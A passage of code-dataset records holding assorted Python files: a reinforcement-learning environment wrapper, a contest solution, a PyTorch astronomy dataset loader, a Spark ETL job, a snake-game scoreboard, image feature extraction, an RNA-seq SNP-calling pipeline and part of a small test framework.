@staticmethod\n def _process_obs(obs):\n obs = cv2.cvtColor(obs, cv2.COLOR_RGB2GRAY)\n obs = cv2.resize(obs, (84, 84), interpolation=cv2.INTER_AREA)\n return obs\n\n\ndef worker_process(remote: multiprocessing.connection.Connection, args: SetupArgs, seed, gameNumber):\n game = Game(args, seed, gameNumber)\n while True:\n cmd, data = remote.recv()\n if cmd == \"step\":\n remote.send(game.step(data))\n elif cmd == \"reset\":\n remote.send(game.reset())\n elif cmd == \"close\":\n remote.close()\n break\n else:\n raise NotImplementedError\n\n\nclass Worker:\n def __init__(self, args: SetupArgs, seed, gameNumber):\n self.child, parent = multiprocessing.Pipe()\n self.process = multiprocessing.Process(target=worker_process, args=(parent, args, seed, gameNumber))\n self.process.start()\n\n\nif __name__ == '__main__':\n env = gymnasium.make(\"MountainCar-v0\")\n print(env.unwrapped.lives())\n","repo_name":"XYTriste/ReinforcementEnv","sub_path":"IntegratedEnv/Wrapper.py","file_name":"Wrapper.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74443598863","text":"#! /usr/bin/env python3\nimport sys\ndata = list(map(int, sys.stdin.read().split()[1:]))\n\nval = []\nidx = {}\nfor d in data:\n if d not in idx:\n val.append(d)\n idx[d] = len(idx)\n\nV = len(idx)\nadj = [[] for _ in range(V)]\n\nfor (s, t) in zip(data[::2], data[1::2]):\n (si, ti) = (idx[s], idx[t])\n adj[si].append(ti)\n adj[ti].append(si)\n\ntot = 0\nQ = [0] * V\nseen = [False]*V\n\nfor u in range(V):\n if not seen[u]:\n seen[u] = True\n qs = 1\n Q[0] = u\n bal = 0\n ctot = 0\n maxv = 0\n while qs > 0:\n qs -= 1\n v = Q[qs]\n bal += len(adj[v])-2\n ctot += val[v]*(len(adj[v])-1)\n maxv = max(maxv, val[v])\n for w in adj[v]:\n if not seen[w]:\n seen[w] = True\n Q[qs] = w\n qs += 1\n\n tot += ctot + (maxv if bal < 0 else 0)\n\nprint(tot)\n","repo_name":"AlexDevyatov/ACM-Contests-Data","sub_path":"NCPC/2016/ncpc2016-packages/tower/submissions/accepted/per_py3.py","file_name":"per_py3.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"31523562325","text":"#!/usr/bin/env python\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom csv import reader\nimport torch\n\n\nclass GAIAData(Dataset):\n\tdef __init__(self, dataset_path:str) -> None:\n\t\tself.datapath = dataset_path\n\t\tself.u_s = None\n\t\tself.g_s = None\n\t\tself.r_s = None\n\t\tself.i_s = None\n\t\tself.z_s = None\n\t\tself.g_g = None\n\t\tself.bp_g = None\n\t\tself.rp_g = None\n\n\t\twith open('./%s/mags.csv' % self.datapath, newline='') as csv_file:\n\t\t\tdataset = reader(csv_file)\n\t\t\t# headers in the first row\n\t\t\tfor idx, row in enumerate(dataset):\n\t\t\t\tif idx == 0:\n\t\t\t\t\tif 'u' in row:\n\t\t\t\t\t\tself.u_s = list()\n\t\t\t\t\tif 'g' in row:\n\t\t\t\t\t\tself.g_s = list()\n\t\t\t\t\tif 'r' in row:\n\t\t\t\t\t\tself.r_s = list()\n\t\t\t\t\tif 'i' in row:\n\t\t\t\t\t\tself.i_s = list()\n\t\t\t\t\tif 'z' in row:\n\t\t\t\t\t\tself.z_s = list()\n\t\t\t\t\tif 'gaia_g' in row:\n\t\t\t\t\t\tself.g_g = list()\n\t\t\t\t\tif 'bp' in row:\n\t\t\t\t\t\tself.bp_g = list()\n\t\t\t\t\tif 'rp' in row:\n\t\t\t\t\t\tself.rp_g = list()\n\n\t\t\t\t# populate fields\n\t\t\t\telse:\n\t\t\t\t\tif self.u_s is not None:\n\t\t\t\t\t\tself.u_s.append(float(row[0]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('u is not in the csv')\n\t\t\t\t\tif self.g_s is not None:\n\t\t\t\t\t\tself.g_s.append(float(row[1]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('g is not in the csv')\n\t\t\t\t\tif self.r_s is not None:\n\t\t\t\t\t\tself.r_s.append(float(row[2]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('r is not in the csv')\n\t\t\t\t\tif self.i_s is not None:\n\t\t\t\t\t\tself.i_s.append(float(row[3]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('i is not in the csv')\n\t\t\t\t\tif self.z_s is not None:\n\t\t\t\t\t\tself.z_s.append(float(row[4]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('z is not in the csv')\n\t\t\t\t\tif self.g_g is not None:\n\t\t\t\t\t\tself.g_g.append(float(row[5]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('gaia_g is not in the csv')\n\t\t\t\t\tif self.bp_g is not None:\n\t\t\t\t\t\tself.bp_g.append(float(row[6]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('bp is not in the csv')\n\t\t\t\t\tif self.rp_g is not None:\n\t\t\t\t\t\tself.rp_g.append(float(row[7]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ValueError('rp is not in the csv')\n\n\tdef __len__(self) -> int:\n\t\treturn len(self.g_g)\n\n\tdef __getitem__ (self, idx:int) -> tuple:\n\t\tu, g, r, i, z = self.u_s[idx], self.g_s[idx], self.r_s[idx], self.i_s[idx], self.z_s[idx]\n\t\tgg, bp, rp = self.g_g[idx], self.bp_g[idx], self.rp_g[idx]\n\t\tx = torch.tensor((gg, bp, rp))\n\t\ty = torch.tensor((u, g, r, i, z))\n\n\t\treturn x, y\t\t\t# input 3 -> output 5\n\n\nclass SDSSData(GAIAData):\n\tdef __getitem__(self, idx:int) -> tuple:\n\t\tx, y = super().__getitem__(idx)\n\t\treturn y, x \t\t# input 5 -> output 3\n\n\n# accuracy index - Gaussian Convergence\ndef accuracy(pred:torch.Tensor, truth:torch.Tensor) -> float:\n\t# error tensor\n\terr = pred - truth\n\tscaled = -2 * torch.pow(err, 2)\n\treturn torch.mean(torch.exp(scaled), dim=1)\n\n\ndef load_data(dataset_path:str, model:str, num_workers:int=0, batch_size:int=128) -> DataLoader:\n\tif model == 'gaia':\n\t\tdataset = SDSSData(dataset_path)\n\telif model == 'sdss':\n\t\tdataset = GAIAData(dataset_path)\n\telse:\n\t\traise ValueError('%s is not a valid model type' % model)\n\t\n\treturn DataLoader(dataset, num_workers=num_workers, batch_size=batch_size, shuffle=True, drop_last=True)\n\n","repo_name":"RikGhosh487/MLP-Filters","sub_path":"modules/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"5294289763","text":"\nfrom datetime import datetime\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col, monotonically_increasing_id\nfrom pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format, dayofweek\nfrom pyspark.sql.types import TimestampType\n\n### Uncomment the following lines if needed\n# import configparser\n# config = configparser.ConfigParser()\n# config.read('dl.cfg')\n# os.environ['AWS_ACCESS_KEY_ID']=config['AWS']['AWS_ACCESS_KEY_ID']\n# os.environ['AWS_SECRET_ACCESS_KEY']=config['AWS']['AWS_SECRET_ACCESS_KEY']\n###\n\n\ndef create_spark_session():\n \"\"\"\n Function that creates a Spark Session to be used \n \"\"\"\n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n spark.conf.set(\"mapreduce.fileoutputcommitter.algorithm.version\", \"2\")\n return spark\n\n\ndef process_song_data(spark, input_data, output_data):\n \"\"\"\n Description: function that reads the initial json files composing the songs datasets \n and writes them back to properly patitioned .parquet files. Output are songs and artists tables.\n \n Parameters:\n * `input_data` is the path to the folder where the data to be read are stored.\n * `output_data` is where the parquet files will be written.\n \"\"\"\n \n # get filepath to song data file\n songs_data = input_data + \"song_data/*/*/*/*.json\"\n \n # read song data file and create temp view to query it\n df = spark.read.json(songs_data, mode='PERMISSIVE', columnNameOfCorruptRecord='corrupt_record').drop_duplicates()\n\n # extract columns to create songs table\n songs_table = df.select(\"song_id\",\"title\",\"artist_id\",\"year\",\"duration\").distinct()\n \n # write songs table to parquet files partitioned by year and artist\n songs_table.write.mode('overwrite').partitionBy(\"year\",\"artist_id\").parquet(output_data + \"songs/\")\n\n # extract columns to create artists table\n artists_table = df.select(\"artist_id\",\"artist_name\",\"artist_location\",\"artist_latitude\",\"artist_longitude\").drop_duplicates()\n \n # write artists table to parquet files\n artists_table.write.mode('overwrite').parquet(output_data + \"artists/\")\n\n df.createOrReplaceTempView(\"song_df_table\")\n\n\ndef process_log_data(spark, input_data, output_data):\n \"\"\"\n Description: function that processes the log files, reading them and writing out \n the users, time and songplays tables in parquet format.\n \n Parameters:\n * same exactly as the above function (`process_song_data`).\n \"\"\"\n \n # get filepath to log data file\n log_data = os.path.join(input_data, \"log_data/*/*/*events.json\")\n\n # read log data file\n df = spark.read.json(log_data)\n \n # filter by actions for song plays\n df = df.where(col('page') == \"NextSong\")\n\n # extract columns for users table \n users_table = df.select(\"userId\",\"firstName\",\"lastName\",\"gender\",\"level\").drop_duplicates()\n \n # write users table to parquet files\n users_table.write.mode('overwrite').parquet(os.path.join(output_data, \"users/\"))\n \n # create datetime column from original timestamp column\n get_timestamp = udf(lambda x: datetime.utcfromtimestamp(int(x/1000)), TimestampType())\n df = df.withColumn(\"start_time\", get_timestamp(\"ts\"))\n \n # extract columns to create time table\n time_table = df.withColumn(\"hour\", hour(\"start_time\"))\\\n .withColumn(\"day\", dayofmonth(\"start_time\"))\\\n .withColumn(\"week\", weekofyear(\"start_time\"))\\\n .withColumn(\"month\", month(\"start_time\"))\\\n .withColumn(\"year\" , year(\"start_time\"))\\\n .withColumn(\"weekday\", dayofweek(\"start_time\"))\\\n .select(\"ts\",\"start_time\",\"hour\", \"day\", \"week\", \"month\", \"year\", \"weekday\").drop_duplicates()\n \n # write time table to parquet files partitioned by year and month\n time_table.write.mode('overwrite').partitionBy(\"year\",\"month\").parquet(output_data + \"time/\")\n\n # read in song data to use for songplays table\n# song_df = spark.read.parquet(output_data + \"songs/\")\n # song_df = spark.read\\\n # .format(\"parquet\")\\\n # .option(\"basePath\", os.path.join(output_data, \"songs/\"))\\\n # .load(os.path.join(output_data, \"songs/*/*/\"))\n\n song_df = spark.sql(\"SELECT DISTINCT song_id, title, artist_id, artist_name FROM song_df_table\")\n\n # extract columns from joined song and log datasets to create songplays table \n songplays_table = df.join(song_df, df.song == song_df.title, how = 'inner')\\\n .withColumnRenamed(\"start_time\", \"start_time_s\")\\\n .withColumn(\"songplay_id\", monotonically_increasing_id())\n \n \n songplays_table = songplays_table.join(time_table, songplays_table.start_time_s == time_table.start_time)\\\n .select(col('songplay_id'), col('start_time'), col('userId'), col('level'),\n col('song_id'), col('artist_id'), col('sessionId'), col('location'),\n col('userAgent'), col('year'), col('month'))\n \n # write songplays table to parquet files partitioned by year and month\n songplays_table.drop_duplicates().write.mode('overwrite').partitionBy(\"year\",\"month\").parquet(output_data + \"songplays/\")\n \n\ndef main():\n spark = create_spark_session()\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3a://sparkify-udacity-datalake/output/\"\n \n process_song_data(spark, input_data, output_data) \n process_log_data(spark, input_data, output_data)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"saveriogzz/Udacity_Data_Engineering_Nanodegree","sub_path":"Project4_DataLake/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":5840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8671296791","text":"from turtle import Turtle\n\n\n\nclass Scoreboard(Turtle):\n\n def __init__(self):\n super().__init__()\n with open(\"data.txt\", mode=\"r\") as HS:\n hs = HS.read()\n self.high_score = int(hs)\n self.score = 0\n self.color(\"white\")\n self.penup()\n self.goto(0, 270)\n self.write(f\"Score: {self.score} High Score: {self.high_score}\", move=False, align=\"center\", font=(\"Courier\", 20, \"normal\"))\n self.hideturtle()\n print(type(self.high_score))\n # self.update_scoreboard()\n\n def update_scoreboard(self):\n self.clear()\n self.write(f\"Score: {self.score} High Score: {self.high_score}\", move=False, align=\"center\", font=(\"Arial\", 24, \"normal\"))\n\n def increase_score(self):\n self.score += 1\n self.update_scoreboard()\n\n def reset(self):\n if self.score > self.high_score:\n self.high_score = self.score\n self.score = 0\n self.update_scoreboard()\n with open(\"data.txt\", mode=\"w\") as HS:\n HS.write(f\"{(self.high_score)}\")\n\n # def game_over(self):\n # self.goto(0, 0)\n # self.write(\"GAME OVER\", align=\"center\",font=(\"Arial\", 24, \"normal\"))\n\n","repo_name":"JohnsonEjeh/Snake-game","sub_path":"scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5024913015","text":"import numpy as np\nfrom tqdm import tqdm\n\nimport kmeans_preprocessor, disk_test\n\nfrom keras.applications.vgg16 import VGG16 \nfrom keras.models import Model\nfrom keras.applications.vgg16 import preprocess_input \n\nfrom concurrent.futures import ThreadPoolExecutor\nfrom itertools import islice\n\nimport pathlib, gc, pickle, sys, uuid\n\nimport time\n\ndef get_yes_no_input(question):\n while True:\n response = input(f\"{question}? (Y/n) \").lower().strip()\n if response == '' or response == 'y' or response == 'yes':\n return True\n elif response == 'n' or response == 'no':\n return False\n else:\n print(\"Invalid input. Please enter 'Y', 'N', or leave empty for default (Y).\")\n\n\ndef feat_current(folder : pathlib.Path, imagePattern : str):\n files = folder.rglob(imagePattern)\n latest_file = max(files, key=lambda p: p.lstat().st_mtime)\n newest_file_time = latest_file.lstat().st_mtime\n pickle_file_time = pathlib.Path(folder / \"features_all.pickle\").lstat().st_mtime\n\n return pickle_file_time > newest_file_time\n\ndef batches_current(folder : pathlib.Path, imagePattern : str):\n files = folder.rglob(imagePattern)\n latest_image = max(files, key=lambda p: p.lstat().st_mtime)\n\n newest_image_time = latest_image.lstat().st_mtime\n\n files = folder.rglob('features_batch_*.pickle')\n latest_pickle = max(files, key=lambda p: p.lstat().st_mtime)\n\n newest_pickle_time = latest_pickle.lstat().st_mtime\n\n return newest_pickle_time > newest_image_time\n\n\ndef feat_extract(rootFolder : pathlib.Path = pathlib.Path(\"/\"), imagePattern : str = \"*s.png\"):\n diskInfo = disk_test.get_drive_info(Path=rootFolder)\n if diskInfo[\"InterfaceType\"] == \"USB\":\n print(\"You appear to have selected a USB drive. Initialising the progress metrics can take a long time for some USB drives.\")\n forceBar = not get_yes_no_input(\"Would you like to skip this to speed things up\")\n else:\n forceBar = True\n\n\n new_pickles_folder = pathlib.Path(rootFolder / \"pickles\" / str(uuid.uuid4()) / \"\")\n new_pickles_folder.mkdir(parents=True, exist_ok=True)\n\n model_ft = VGG16(weights=\"imagenet\")\n model_ft = Model(inputs= model_ft.inputs,outputs = model_ft.layers[-2].output)\n print(\"finding files\")\n files = rootFolder.rglob(imagePattern)\n\n \n\n \n print(\"loading prior progress\")\n if pathlib.Path(rootFolder / \"features_all.pickle\").exists() and not feat_current(rootFolder):\n print(\"Everything seems to be up to date. Bye!\")\n sys.exit()\n\n doneFilenames = []\n features = []\n\n features_pickles = rootFolder.rglob('features_batch_*.pickle')\n list_of_pickles = [str(p) for p in features_pickles] # this should be a relatively short list, so it shouldn't cause the same impact as \"listing\" the image files from the generator\n\n if len(list_of_pickles) > 0 and (not forceBar or batches_current(rootFolder,\"*.jpg\")): # the batches_current feature scans all files and folders for any updates after the pickle.\n #this would take a long time on usb/spinning disks/etc so we follow the same rule as the progress bar, hoping it'll be ok.\n print(\"reading old progress\")\n feat_pickles = rootFolder.rglob('features*.pickle')\n\n \n\n for thisPickle in feat_pickles:\n with open(str(thisPickle), 'rb') as handle:\n batch_features = pickle.load(handle)\n features.append(batch_features.reshape(-1, 4096))\n\n filename_pickles = rootFolder.rglob('filenames*.pickle')\n \n \n for thisPickle in filename_pickles:\n with open(str(thisPickle), 'rb') as handle:\n batch_fileNames = pickle.load(handle)\n doneFilenames = doneFilenames + batch_fileNames\n\n #Change list to set, this is because checking membership in a set is much faster (O(1) complexity) than in a list (O(n) complexity)\n doneFilenames = set(doneFilenames)\n print(f\"loaded progress for {len(doneFilenames)} files\")\n \n batch_size = 2000\n\n if forceBar:\n # we again need to use our ugly hack to do a progress bar, this time though we need a list of strings for cv2 to be able to open them\n fileNames = [str(p) for p in files]\n num_batches = int(np.ceil(len(fileNames) / batch_size))\n else:\n num_batches = 1e20 # we don't know how many files there are, so we don't know how many batches there will be.\n\n \n \n keepGoing = True\n i=0\n while keepGoing: #tqdm(range(num_batches),desc=\"Processing image batches\"):\n if num_batches != 1e20:\n print(f\"Batch {i+1} of {num_batches+1}\")\n else:\n print(f\"Batch {i+1}\")\n\n start = i * batch_size\n end = (i + 1) * batch_size\n\n if forceBar:\n batch_fileNames = fileNames[start:end]\n else:\n batch_fileNames = [str(p) for p in islice(files, batch_size)]\n\n if len(batch_fileNames) < batch_size:\n keepGoing = False # if the generator or list is exhaused, this will be the last loop\n\n if len(doneFilenames) > 0:\n batch_fileNames = [filename for filename in batch_fileNames if filename not in doneFilenames]\n\n if len(batch_fileNames) > 0:\n start_load = time.perf_counter()\n with ThreadPoolExecutor() as executor:\n images = list(executor.map(kmeans_preprocessor.cvload_image, batch_fileNames, [224]*len(batch_fileNames)))\n\n images = [img for img in images if img is not None]\n #print(\"Concatenating\")\n images = np.concatenate(images, axis=0)\n fin_load = time.perf_counter()\n \n #print(\"Pre-procssing\")\n x = preprocess_input(images)\n del images\n gc.collect()\n fin_preprocess = time.perf_counter()\n\n #print(\"extracting features\")\n batch_features = model_ft.predict(x, use_multiprocessing=True, verbose=1)\n\n fin_modelling = time.perf_counter()\n \n with open(str(new_pickles_folder/ f\"features_batch_{i}.pickle\"), 'wb') as handle:\n pickle.dump(batch_features, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open(str(new_pickles_folder/ f\"filenames_batch_{i}.pickle\"), 'wb') as handle:\n pickle.dump(batch_fileNames, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n features.append(batch_features.reshape(-1, 4096)) \n print(f\"Timings:\\n Load: {fin_load- start_load:0.4f}\\n Prep: {fin_preprocess- fin_load:0.4f}\\n Model: {fin_modelling - fin_preprocess:0.4f}\")\n i=i+1\n\n print(\"concatenating features\")\n features = np.concatenate(features, axis=0)\n\n with open(str(rootFolder/ \"features_all.pickle\"), 'wb') as handle:\n pickle.dump(features, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\nimagePath = pathlib.Path(\"C:/xampp/htdocs/clustering/thumbnails\")\n\nfor directory in [x for x in imagePath.iterdir() if x.is_dir()]:\n print(f\"testing {directory} for changes.\")\n feat_extract(directory,\"*.jpg\")","repo_name":"MartinKlefas/Timelapse-Outlier-Detection","sub_path":"batchwise_feature_extraction.py","file_name":"batchwise_feature_extraction.py","file_ext":"py","file_size_in_byte":7288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30002111848","text":"import sys\nimport os\nimport subprocess as sp\nimport shlex\n\nread1 = sys.argv[1]\nread2 = sys.argv[2]\n\ndata = '/home/springer/data_release/umgc/novaseq/210329_A00223_0519_BHW3NGDSXY/Springer_Project_080/'\n#work = '/scratch.global/liang795/Heatpanel-RNAseq/'\nwork = '/scratch.global/liang795/Heatpanel-RNAseq-SNP'\n'''\ntrim_command = 'trim_galore --paired --fastqc --gzip {0} {1} --output_dir {2}'.format(read1, read2, work)\ntrim_args = shlex.split(trim_command)\ntrim = sp.Popen(trim_args)\ntrim.wait()\n'''\nlast1 = read1.split('/')[-1] # SRR1238715_1.fq.gz\nlast2 = read2.split('/')[-1] # SRR1238715_2.fq.gz\nnewread1 = last1.split('.')[0]+'_val_1.fq.gz' # SRR1238715_1_val_1.fq.gz\nnewread2 = last2.split('.')[0]+'_val_2.fq.gz'\nprefix = newread1.split('_')[0] # SRR1238715\n#samfile = open('{0}/{1}.bam'.format(work, prefix),'w')\n\n#hisat2_command1 = 'hisat2 -x /home/springer/zhoux379/projects/genome/data/Zmays_B73/21_dbs/hisat2/B73_vt01/db -1 {2}/{0} -2 {2}/{1} --rna-strandness R -p 8 -k 20 --no-mixed --no-discordant --met-stderr --new-summary'.format(newread1, newread2, work)\n#hisat2_command1 = 'hisat2 -x /home/springer/liang795/genomeinfo/Mo17-hisat2/Mo17-hisat2 -1 {2}/{0} -2 {2}/{1} --rna-strandness R -p 8 -k 20 --no-mixed --no-discordant --met-stderr --new-summary'.format(newread1, newread2, work)\n#hisat2_command1 = 'hisat2 -x /home/springer/liang795/genomeinfo/B73v4-Mo17SNP-Lai-Hisat2-Nmasked/B73v4-Mo17SNPLai-Nmasked-hisat2 -1 {2}/{0} -2 {2}/{1} --rna-strandness R -p 8 -k 20 --no-softclip --no-mixed --no-discordant --met-stderr --new-summary'.format(newread1, newread2, work)\n'''\nhisat2_command1 = 'hisat2 -x /home/springer/liang795/genomeinfo/B73v4-Hisat2/B73v4-Hisat2 -1 {2}/{0} -2 {2}/{1} --rna-strandness R -p 10 --no-softclip --no-mixed --no-discordant --met-stderr --new-summary'.format(newread1, newread2, work)\nhisat2_args1 = shlex.split(hisat2_command1)\nhisat2_command2 = 'samtools view -bS -F 8'\nhisat2_args2 = shlex.split(hisat2_command2)\nhisat2_1 = sp.Popen(hisat2_args1, stdout=sp.PIPE)\nhisat2_2 = sp.Popen(hisat2_args2, stdin=hisat2_1.stdout, stdout=samfile)\nhisat2_2.wait()\n\nsamtools_command = 'samtools sort {0}/{1}.bam -o {0}/{1}.sort.bam'.format(work, prefix)\nsamtools_args = shlex.split(samtools_command)\nsamtools = sp.Popen(samtools_args)\nsamtools.wait()\nsamtools_command = 'samtools index {0}/{1}.sort.bam'.format(work, prefix)\nsamtools_args = shlex.split(samtools_command)\nsamtools = sp.Popen(samtools_args)\nsamtools.wait()\n'''\nref = '/home/springer/liang795/genomeinfo/genome-fasta/Zm-B73-REFERENCE-GRAMENE-4.0.fa'\nvariant = '/home/springer/liang795/projects-in-nathan-lab/heatstress-panel/Selected-Widiv-SNPs/Selected-110genos-Widiv-filtered-chr.vcf'\n#variant = '/home/springer/liang795/projects-in-nathan-lab/heatstress-panel/Selected-Widiv-SNPs/Selected-110genos-Widiv-filtered-chr.vcf'\n#newsortedbam = work + '/' + prefix + '.sorted.bam'\n'''\npc_command = 'picard MarkDuplicates -I {0}/{1}.sort.bam -M {0}/{1}_report.txt -O {0}/{1}.rmdups.bam --VALIDATION_STRINGENCY SILENT --ASSUME_SORTED true --REMOVE_DUPLICATES true'.format(work, prefix)\npc_command_args = shlex.split(pc_command)\npc = sp.Popen(pc_command_args)\npc.wait()\n\nsplitnc_command = 'gatk SplitNCigarReads -R {0} -I {1}/{2}.rmdups.bam -O {1}/{2}.splitnc.bam'.format(ref, work, prefix)\nsplitnc_command_args = shlex.split(splitnc_command)\nsplitnc = sp.Popen(splitnc_command_args)\nsplitnc.wait()\n\ngroup_command = 'picard AddOrReplaceReadGroups -I {0}/{1}.splitnc.bam -O {0}/{1}.splitnc.group.bam -RGID 1 -RGLB lib2 -RGPL illumina -RGPU unit1 -RGSM 3'.format(work, prefix)\ngroup_command_args = shlex.split(group_command)\ngroup = sp.Popen(group_command_args)\ngroup.wait()\n\nbase_command = 'gatk BaseRecalibrator -I {0}/{1}.splitnc.group.bam -R {2} --known-sites {3} -O {0}/{1}.recal_data.table'.format(work, prefix, ref, variant)\nbase_command_args = shlex.split(base_command)\nbase = sp.Popen(base_command_args)\nbase.wait()\n'''\nrecap_command = 'gatk ApplyBQSR -I {0}/{1}.splitnc.group.bam -R {2} --bqsr-recal-file {0}/{1}.recal_data.table -O {0}/{1}.bqsr.bam'.format(work, prefix, ref)\nrecap_command_args = shlex.split(recap_command)\nrecap = sp.Popen(recap_command_args)\nrecap.wait()\n\nsnp_command = 'gatk --java-options \"-Xmx20g\" HaplotypeCaller -R {0} -I {1}/{2}.bqsr.bam -O {1}/{2}.vcf'.format(ref, work, prefix)\nsnp_command_args = shlex.split(snp_command)\nsnp = sp.Popen(snp_command_args)\nsnp.wait()\n'''\nteexp_command = 'python /home/springer/liang795/scripts/TE-expression/TEexpression-pip.py {0}/{1}.sort /home/springer/liang795/genomeinfo/B73.v4.41.pengformat.structuralTEv2.2020.02.03.filteredTE.disjoined.gff3'.format(work, prefix)\nteexp_args = shlex.split(teexp_command)\nteexp = sp.Popen(teexp_args)\nteexp.wait()\nos.system('rm -rf {0}/{1} {0}/{2} {0}/{3}.bam {0}/{3}.sort.converted.bam'.format(work, newread1, newread2, prefix))\n'''\n","repo_name":"shanwai1234/NGSdataprocessing","sub_path":"SNPcaller/RNAseq-SNPcaller-pipeline.py","file_name":"RNAseq-SNPcaller-pipeline.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33805995052","text":"\"\"\"\nStateful component of microtest.\n\nAuthor: Valtteri Rajalainen\n\"\"\"\n\nimport functools\nimport timeit\nimport runpy\nimport os\nimport sys\n\nfrom microtest.objects import Module, Result, Types, ExecutionContext\nfrom microtest.core.utils import (\n filter_tests,\n filter_modules,\n capture_exception,\n generate_signature,\n check_logger_object\n)\n\n\nexec_context = ExecutionContext()\nresources = dict()\nutilities = dict()\n\nlogger = None\ncurrent_module = None\n\nrunning = False\nconfig_in_process = False\n\nerrors: int = 0\nfailed: int = 0\ntests: int = 0\n\nt_start: float = None\nt_end: float = None\n\nexcluded_modules = set()\nonly_modules = set()\n\nexcluded_groups = set()\nonly_groups = set()\n\n\nclass TestObject:\n def __init__(self, func: Types.Function):\n self.func = func\n self.group = None\n\n def __getattribute__(self, attr: str):\n try:\n return object.__getattribute__(self, attr)\n except AttributeError as err:\n try:\n func = object.__getattribute__(self, 'func')\n return object.__getattribute__(func, attr)\n except AttributeError:\n raise err\n\n def __call__(self, *args, **kwargs):\n error = None\n try:\n self.func(*args, **kwargs)\n except Exception as exc:\n error = exc\n register_test_results(self, error)\n\n\nclass Fixture:\n \"\"\"\n Iterable container that ensures the right\n execution order for setup/reset/cleanup/test functions.\n \"\"\"\n\n def __init__(self):\n self._setup = None\n self._cleanup = None\n self._reset = None\n \n self.setup_done = False\n self.tests = list()\n self.error = None\n\n\n def append(self, test: TestObject):\n self.tests.append(test)\n\n\n def register_setup(self, func: Types.Function):\n if self._setup:\n info = 'Setup function is already set for this module'\n raise RuntimeError(info)\n self._setup = capture_exception(func)\n\n\n def register_cleanup(self, func: Types.Function):\n if self._cleanup:\n info = 'Cleanup function is already set for this module'\n raise RuntimeError(info)\n self._cleanup = capture_exception(func)\n\n\n def register_reset(self, func: Types.Function):\n if self._reset:\n info = 'Reset function is already set for this module'\n raise RuntimeError(info)\n self._reset = capture_exception(func)\n\n\n def __iter__(self):\n return self\n\n\n def __next__(self) -> TestObject:\n if not self.setup_done:\n self.do_setup()\n \n if self.error:\n raise StopIteration\n\n if self.tests:\n return self.wrap_test(self.tests.pop(0))\n \n self.do_cleanup()\n raise StopIteration\n\n\n def wrap_test(self, func: Types.Function) -> Types.Function:\n @functools.wraps(func)\n def wrapper(**kwargs):\n if self._reset:\n error = call_with_resources(self._reset)\n if error:\n self.abort_with_error(error)\n return func(**kwargs)\n return wrapper\n\n\n def do_setup(self):\n self.setup_done = True\n if self._setup:\n error = call_with_resources(self._setup)\n if error:\n self.abort_with_error(error, do_cleanup=False)\n\n\n def do_cleanup(self):\n if self._cleanup:\n error = call_with_resources(self._cleanup)\n if error:\n self.abort_with_error(error, do_cleanup=False)\n\n \n def abort_with_error(self, error: Exception, *, do_cleanup=True):\n self.error = error\n if do_cleanup:\n self.do_cleanup()\n raise error\n\n\ndef require_init(func: Types.Function) -> Types.Function:\n \"\"\"\n Wrapper function to ensure proper initialization before execution.\n \"\"\"\n def wrapper(*args, **kwargs):\n if not running:\n initialize()\n return func(*args, **kwargs)\n return wrapper\n\n\ndef initialize():\n global running, t_start\n check_logger_object(logger)\n \n running = True\n logger.log_start_info()\n t_start = timeit.default_timer()\n exec_context.add_cleanup_operation(stop_testing, final=True)\n\n\ndef stop_testing(*args):\n global t_start, t_stop\n if not running:\n return\n \n t_stop = timeit.default_timer()\n delta = round(t_stop - t_start, 3)\n\n logger.log_results(tests, failed, errors, delta)\n logger.terminate()\n\n\ndef collect_test(test_obj: TestObject):\n global current_module\n if current_module is None:\n current_module = Module('__main__')\n current_module.tests.append(test_obj)\n\n\ndef get_fixture() -> Fixture:\n global current_module\n if current_module is None:\n current_module = Module('__main__')\n \n if not current_module.fixture:\n current_module.fixture = Fixture()\n \n return current_module.fixture\n\n\ndef call_with_resources(func: Types.Function) -> Types.Any:\n \"\"\"\n Call the given function with the resources named in\n function arguments.\n\n Note that functools.wraps should be used when wrapping microtest.core.TestObjects,\n otherwise the wrapper function's signature must match with the original\n test function's signature.\n \"\"\"\n kwargs = dict()\n signature = generate_signature(func)\n for item in signature:\n if item not in resources.keys():\n raise NameError(f'Undefined resource \"{item}\"')\n kwargs[item] = resources[item]\n return func(**kwargs)\n\n\ndef add_resource(name: str, obj: object):\n resources[name] = obj\n\n\ndef add_utility(name: str, obj: object):\n utilities[name] = obj\n\n\ndef on_exit(func: Types.Function):\n exec_context.add_cleanup_operation(func)\n\n\n@require_init\ndef register_test_results(func: Types.Function, exc: 